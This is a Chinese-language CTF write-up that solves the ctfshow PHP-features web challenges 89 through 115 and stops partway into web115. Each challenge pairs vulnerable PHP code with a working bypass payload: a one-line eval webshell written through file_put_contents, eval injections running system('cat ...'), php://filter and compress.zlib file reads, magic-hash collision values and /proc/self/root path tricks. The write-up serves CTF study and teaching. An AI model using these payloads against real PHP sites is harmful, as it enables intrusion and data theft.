前言
此文章是用来刷ctfshow中web入门题的php特性部分
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
本题考点在于php中数组绕过正则表达式、首先在第一个if判断中,不能使传入的$num含有数字,如果有就会触发die函数,preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句
所以我们可以通过构造数组来进行绕过,即url+/?num[]=1
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
此题在第一个判断需要$num等于数字4476,然后第二个判断中,只有当$num强等于4476才会给出flag的值
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
根据此我们可以构造url+/?num=4476a
num=+4476 正号
num=0x117c 十六进制
num=010574 八进制
num=0b1000101111100 二进制
num=4476e1
num=4476.0 小数点
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
本题所想考的是正则表达式修饰符,
正则表达式的模式修正符
i 不区分大小写;
例如: /abc/i 可以匹配 abc、aBC、Abcg 全局匹配
如果不带g,正则过程中字符串从左到右匹配,找到第一个符合条件的即匹配成功,返回
如果带g,则字符串从左到右,找到每个符合条件的都记录下来,知道字符串结尾位置m 多行匹配
若存在换行\n并且有开始^或结束$符的情况下,和g一起使用实现全局匹配,
因为存在换行时默认会把换行符作为一个字符任务匹配字符串是个单行,
g只匹配第一行,添加m之后实现多行,每个换行符之后就是开始
var str = “abcggab\nabcoab”;
var preg1 = /^abc/gm; str.match(preg1) // 结果为:[“abc”, “abc”]
var preg2 = /ab$/gm; str.match(preg2) // 结果为:[“ab”, “ab”]s 特殊字符圆点 . 中包含换行符
默认的圆点 . 是 匹配除换行符 \n 之外的任何单字符,加上s之后, . 中包含换行符U 只匹配最近的一个字符串;不重复匹配;
$mode=”/a(.?)c/“;
$preg=”/a.c/U”;//这两个正则返回相同的值
$str=”abcabbbcabbbbbc” ;
preg_match($mode,$str,$content); echo $content[0];//abc
preg_match($preg,$str,$content); echo $content[0];//abc
/**/修正符:x 将模式中的空白忽略;
//修正符:A 强制从目标字符串开头匹配;
//修正符:D 如果使用$限制结尾字符,则不允许结尾有换行;
//修正符:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
通过url+/?cmd=%0aphp以此绕过,%0a代表换行,所以在第一个if中由于有着m所以匹配%0a换行后绕过,第二个if不符合正则表达式中以php开头,所以也满足绕过条件。所以得到flag
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题和php90很像,与其不同的在于第二个if判断和第三个if判断的强等于变成了弱等于,这里例如4476a、4476.0以及+4476就已经无法绕过了,必须要对$num取进制值才能使得绕过
num=0x117c 十六进制
num=010574 八进制
num=0b1000101111100 二进制
从而得到flag
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
还是同样的味道不过这次相较于php92多加了一个preg_match过滤,可以发现的是过滤只将英文字母给过滤掉了,那么回忆下php92,八进制是转4476是纯数字,那么本题的答案就很明显了,让num为八进制的值就可以了。
num=010574 八进制
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
此时第二个if判断和第四个判断又变回了强等于,其中preg_match仍然过滤了英文字母,不同的是多了一个strpos函数,过滤了开头为0的数字,但是强等于的回归,说明我们在php90中的一些值也可以使用了
拓展
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
strpos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
find | 必需。规定要查找的字符串。 |
start | 可选。规定在何处开始搜索。 |
可看出如果开头为0就会导致触发die函数且preg_match过滤了字母,所以二进制和十六进制仍然不用考虑。
最终结果为
num= 010574 八进制(在本题中,前面是有一个空格的)
num=4476.0 小数点
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
先对本次preg_match进行fuzz测试下
然后可以本题变化在于第二个if判断又从强等于变回了弱等于,那么php94中的4476.0现在是没法使用了,我们需要考虑的是对八进制的这个值进行改进,最终结果有
num=%20010574 八进制(%20就是空格)
num=+010574
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
这题所要考的是路径问题,highlight_file中均等效于flag.php,我们可以通过三种方法来解决
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这题首先是一个POST传参,然后是md5强等于,可以直接使用数组进行绕过,即post传参a[]=1&b[]=2
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
三目运算符
格式
(expr1) ? (expr2) : (expr3);
类比于if、else
if(expr1){
expr2;
}else{
expr3;
}
所以我们可以将该代码修改为
<?php
include("flag.php");
if(isset($_GET)){
$_GET=&$_POST;
}else{
'flag';
}
if($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
}
if($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
}
if($_GET['HTTP_FLAG']=='flag'){
$flag;
}else{
__FILE__;
}
?>
所以只需要我们get和post同时传参HTTP_FLAG=flag即可得到flag
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
首先将$allow设置为数组,然后向数组内插入随机数,in_array()函数没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1,所以我们可以get设置为一个php文件,然后content中传入一句话木马,那么就会在file_put_contents函数中,将content的所传的参写入n这个文件中
故可以构造该url
get: url+/?1.php
post: content=<?php @eval($_POST[‘shell’]); ?
通过蚁剑进行连接,得到flag
拓展:有三个不认识的函数,array_push()、in_array()、file_put_contents()
array_push() 函数向数组尾部插入一个或多个元素。
array_push(array,value1,value2...)
参数 描述
array 必需。规定一个数组。
value1 必需。规定要添加的值。
value2 可选。规定要添加的值。
in_array() 函数搜索数组中是否存在指定的值。
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。
file_put_contents() 函数把一个字符串写入文件中。
int file_put_contents (string $filename , mixed $data [, int $flags = 0[, resource $context ]])
参数 描述
filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags 可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH
FILE_APPEND
LOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
因为赋值运算的优先级比AND和OR的高,所以先赋值;比&&和||的低,所以逻辑运算符先执行,先逻辑运算,再赋值。
例如
$p = 6 or 0;
var_dump($p);//int(6)
$p = 6 || 0;
var_dump($p);//bool(true)
$p = 6 and 0;
var_dump($p); //int(6)
$p = 6 && 0;
var_dump($p); //bool(false)
所以我们可以通过给v1赋值从而来控制v0的值,剩下的就可以通过对v2,v3赋值以此来拿到ctfshow.php里的flag
可以构造
url+/?v1=1&v2=system("cat ctfshow.php")/*&v3=\*/;
打开网页源代码可以找到flag
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
与上题差不多,但是过滤了更多的东西
v2和v3的值仅能有 &(:<>ABCDEFGHIJKLMNOPQRSTUVWXYZ]abcdefghijklmnopqrstuvwxyz|}!$'()+,./;=[]_
开始我还在想着与php100一样通过命令执行拿到flag,但怎么试都拿不到,后来上网看大佬的wp,发现本题考点是反射类
PHP 的反射API很多,但是常用的一般都是
ReflectionClass
和ReflectionMethod
:
1.ReflectionClass,这个是用来获取类的信息 常用方法,详细的可以查看文档: ReflectionClass::getMethods 获取方法的数组
ReflectionClass::getName 获取类名
ReflectionClass::hasMethod 检查方法是否已定义
ReflectionClass::hasProperty 检查属性是否已定义
ReflectionClass::isAbstract 检查类是否是抽象类(abstract)
ReflectionClass::isFinal 检查类是否声明为 final
ReflectionClass::isInstantiable 检查类是否可实例化
ReflectionClass::newInstance 从指定的参数创建一个新的类实例2.ReflectionMethod
这个主要是针对方法的反射 常用的方法,详细的可以去看看文档: ReflectionMethod::invoke 执行
ReflectionMethod::invokeArgs 带参数执行
ReflectionMethod::isAbstract 判断方法是否是抽象方法
ReflectionMethod::isConstructor 判断方法是否是构造方法
ReflectionMethod::isDestructor 判断方法是否是析构方法
ReflectionMethod::isFinal 判断方法是否定义 final
ReflectionMethod::isPrivate 判断方法是否是私有方法
ReflectionMethod::isProtected 判断方法是否是保护方法 (protected)
ReflectionMethod::isPublic 判断方法是否是公开方法
ReflectionMethod::isStatic 判断方法是否是静态方法
ReflectionMethod::setAccessible 设置方法是否访问
所以我们可以构造
url+/?v1=1&v2=echo new ReflectionClass&v3=;
web102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
file_put_contents()、is_numeric的作用就不做赘述,在上面php99已经涉及到,
剩下就是substr函数
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
-----------------------语法---------------------------------
substr(string,start,length)
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
call_user_func()
调用回调函数,并把一个数组参数作为回调函数的参数
第一种
那么可知$s的值就是从$v2传入的参从第二位开始截取。而且仍然考到赋值与and的优先性,所以我们只需要确保$v2可以满足这个is_numeric判断,通过file_put_contents()我们可以确定的是$v3是一个php文件以便一句话木马的写入,那么现在v2的可考虑性就是如何既能满足is_numeric函数又可以变成一句话木马。
这里需要用到hex2bin函数,也就是为$v1传参hex2bin以此再通过call_user_func()回调。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
----------------语法-----------------------------------
hex2bin(string)
参数 描述
string 必需。要转换的十六进制值。
技术细节
返回值: 返回转换字符串的 ASCII 字符,如果失败则返回 FALSE。
PHP 版本: 5.4.0+
更新日志: 自 PHP 5.4.1 起,如果字符串长度为奇数,则抛出一个警告。在 PHP 5.4.0 中,奇数字符串被默默接受,但是最后一个字节会被移除。
自 PHP 5.5.1 起,如果字符串是无效的十六进制字符串,则抛出一个警告。
is_numeric()判断十六进制即0x开头,在php5时返回True,在php7返回False
而之后经过substr截断后,$str就是一个没有0x开头的16进制数,再通过call_user_func回调hex2bin函数将该16进制转换为ASCII字符,就可以得到一个一句话木马(注:hex2bin无法转换带0x的16进制数)
所以我们可以如此构造
GET: v2=0x3c3f70687020406576616c28245f504f53545b2731275d293b3f3e&v3=1.php
POST: v1=hex2bin
但是可惜的是,这题是php7,所以那个if判断我们没法绕过去,所以只能用另一种方式来达到目的。
第二种
那么我们现在要考虑的就是如何在php7中使得$v2传入的参既能满足is_numeric函数,又能被当成一句话木马被写入呢,这里需要用到base64_encode以及php伪协议来满足
$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
只要满足$c纯数字即可
最后我们传入$c的值满足is_numeric函数,然后再通过call_user_func函数回调hex2bin()将其转换为base64编码,再通过利用php伪协议读取的$v3文件以此来解码这个base64编码并利用file_put_contents写入。
这里直接用大佬所找到的$a
即$a为’<?=`cat *`;’;
通过base64_encode编码后为PD89YGNhdCAqYDs,再通过bin2hex后转换为5044383959474e6864434171594473(仅有1个e可以表明其为科学计数法,从而可以绕过is_numeric函数)
最后构造
GET: v2=125044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
(因为有substr函数会截断前俩个,所以为确保代码完整性,我们在这之前随便加俩个数字)
POST: v1=hex2bin
web103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
与php102相同,不过添加了一个对$str的过滤条件,确保其内没有php标签,这样的正则表达式会匹配包含 “php”、”pahp”、”paahp” 等的字符串。
但是根据php102,echo出的$str为PD89YGNhdCAqYDs,里面并没有。所以可以和php102构造一模一样的参
GET: v2=125044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
(因为有substr函数会截断前俩个,所以为确保代码完整性,我们在这之前随便加俩个数字)
POST: v1=hex2bin
web104
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
SHA1弱等于,可以采取数组绕过,不过要注意v1和v2的传参方式,可构造
GET:v2[]=1
POST:v1[]=2
或者构造
GET:v2=10932435112
POST:v1=aaroZmOk
参考
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
大佬链接——>PHP—MD5和sha1绕过_php字符串弱不等,sha1强相等-CSDN博客
web105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
本题考查的为php变量覆盖,题目共有三个变量$error、$suces、$flag
让key=suces, 那么可知key=suces,然后如果value=flag,那么可知value=flag,此时变量覆盖,suces=flag
可以通过俩个die函数获得flag
第一个 die($error)
通过构造
GET: abc=flag POST: error=abc
传入后$key存储abc,$value存储flag,此时$abc=$flag,然后再第二个foreach循环中,$key=error,$value=abc,那么他下面$value的强等于就没有触发,而是变量覆盖,$error=$abc。此时由于$abc为$flag,$error=$abc,那么就是$error=$abc,即$error=$flag。由于 POST 请求中没有名为 flag
的参数,所以 $flag
这个变量的值将保持不变。因此,当执行 if(!($_POST[‘flag’]==$flag)){ die($error); } 这一行代码时,它实际上是在检查 POST 请求中是否存在 flag
参数,但是由于不存在,所以条件始终为真。因此,触发die函数,也就是触发die($flag),得到flag的值
第二个 die($suces)
通过构造
GET: suces=flag POST: flag=
同理传入后$key=$suces,$value=$flag,此时$suces=$flag。然后第二个foreach循环中,$key=$flag,$value=NULL,即$flag=NULL,满足**($_POST[‘flag’]==$flag)**,即检查到了$flag参数,那么就跳过该if判断,得到$flag的值,
web106
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
跟php104差不多,唯一区别就是多了个$v1!=$v2,但是在$104的俩种解法仍可以使用。
第一种 数组绕过
可构造
GET:v2[]=1
POST:v1[]=2
第二种 sha1弱等于
可构造
GET:v2=10932435112
POST:v1=aaroZmOk
其他供选择的值
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
web107
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
涉及到一个函数parse_str()
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
-------------------------------语法------------------------------
parse_str(string,array)
参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。
即使用 parse_str 函数将 $v1
解析成一个关联数组,并将结果存储在 $v2
中。
所以我们可以构造
GET: v3=240610708
POST: v1=flag=0
此时$v1的值为flag=0,通过parse_str($v1, $v2);
将 $v1
解析成关联数组 $v2
,这时 $v2
变成 array('flag' => '0')
。
所以第二个语句就变成if(0==md5($v3))即可echo出flag,那么结合我们前面所学,有以下这些值md5后为0,随机挑选一个即可。
md5: 240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg函数可看该大佬php中ereg函数的截断漏洞_ereg漏洞-CSDN博客
**ereg()**函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。(并且即使涉及为科学计数法,e也必须是小写)
strrev() 函数反转字符串。
-------------------语法--------------------------
strrev(string)
参数 描述
string 必需。规定要反转的字符串。
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
-------------------语法--------------------------
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
由此我们可以0x36d转换为十进制,即为877,所以将其倒置,再通过abc加上%00截断绕过ereg函数
可构造得到flag
GET: c=abc%00778
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
v1和v2都需要以大小写字母开头的字符,而在其if判断中的是一个eval执行一个字符串表达式。
我们在php101学习到了php自带的一些反射类(ReflectionClass),(其实还有一个异常处理类 Exception,不过此时对于v1直接赋值即可,v1=Exception();system(“ls”);&v2=a)所以我们可以先对$v1赋值一个反射类,即对应new创建,然后给v2赋值一些可执行命令,所以我们可以构造
GET: v1=ReflectionClass&v2=system('ls')
GET: v1=ReflectionClass&v2=system('cat f*')
执行后打开源代码可以找到flag
web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
此时v1和v2只能输入以下的字符,否则就会触发die函数
/<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ]abcdefghijklmnopqrstuvwxyz|}
可以看出,上题的构造已经没法用,其将单引号,双引号,反引号都给过滤掉了
看了大佬wp才了解这里考查的是php的另一个内置类 FilesystemIterator(文件系统迭代器在PHP5.3新加入,继承自DirectoryIterator,可以通过传入路径得到索引该目录下所有文件的迭代器)
然后通过getcwd()方法(成功时返回当前工作目录)用于返回当前路径,详情可看PHP: FilesystemIterator - Manual、PHP: getcwd - 手册
新建FilesystemIterator,可以显示当前目录下的文件结构。其将括号过滤,但是题目中已经给了一个括号了,所以不用在意。再通过getcwd获得该工作目录,正好就是flag存放的文件
构造GET:v1=FilesystemIterator&v2=getcwd
访问即可拿到flag
web111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
过滤后仅有输出这些字符不触发die函数ABCDEFGHIJKLMNOPQRSTUVWXYZ]abcdefghijklmnopqrstuvwxyz|}
且v1还需要有ctfshow,不过本题没有再用到eval函数,而是用到了getFlag函数
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
一个=说明是赋值,所以原先得到的是$ctfshow=$GLOBALS,即$$v1=$GLOBALS,所以最终var_dump输出的就是**var_dump($GLOBALS)**;以此获取全局变量得到flag。
?v1=ctfshow&v2=GLOBALS
web112
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
先看下面的判断,通过is_file函数判断file是否为常规文件,如果不是就触发filter函数,而在filter函数中对rot13、base64等进行过滤,如果含有就触发die函数,那么从filter过滤的字符来看,本题应该要用到伪协议来读取从而拿到flag文件,没给提示多半存在flag.php文件中
所以我们可以构造
file=php://filter/resource=flag.php //直接读取
其他
file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=php://filter/read=convert.iconv.*/resource=flag.php
file=php://filter/zlib.deflate|zlib.inflate/resource=flag.php //压缩与解压缩
具体还有其他方式我没实验,可以看该大佬汇总https://blog.csdn.net/qq_44657899/article/details/109300335
参考
is_file() 函数检查指定的文件是否是常规的文件。
-----------------------语法---------------------------------------
is_file(file)
参数 描述
file 必需。规定要检查的文件。
quoted_printable_encode() 函数把 8 位字符串转换为 quoted-printable 字符串。
-----------------------语法---------------------------------------
quoted_printable_encode(string)
参数 描述
string 必需。规定要转换的 8 位字符串。
convert.iconv.<input-encoding>.<output-encoding>
<input-encoding>和<output-encoding> 就是编码方式,有如下几种;
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
如果input和output都给参,那么意思就是从input形式转换为output形式。
大佬链接:https://blog.csdn.net/qq_44657899/article/details/109300335
web113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
跟上题差不多,不过把input去掉了,但也把filter方式给过滤了,开始我想着通过php://input的方式输出php代码获取,但是结果确实将代码直接输出在源码下方
看佬wp得知,有两种方式来解决
第一种可以通过读取压缩流从而获得flag
file=compress.zlib://flag.php
第二种则是利用到linux里/proc/self/root
是指向根目录的,如果对其ls,则代表访问根目录。因此多次重复 /proc/self/root
,导致路径深入到 /var/www/html/flag.php
,并从而绕过了常规文件检查。
从而构造造
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
原滋原味,不过过滤了更多字符,通过对compress、zip、root的过滤,我们php113的方法已经全部失效了,covert方法使得filter大部分方法也无法奏效,
不过我们可以像php112一样,直接filter读取该文件,从而得到flag
file=php://filter/resource=flag.php
其他
file=php://filter/zlib.deflate|zlib.inflate/resource=flag.php //压缩和解压缩
web115
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
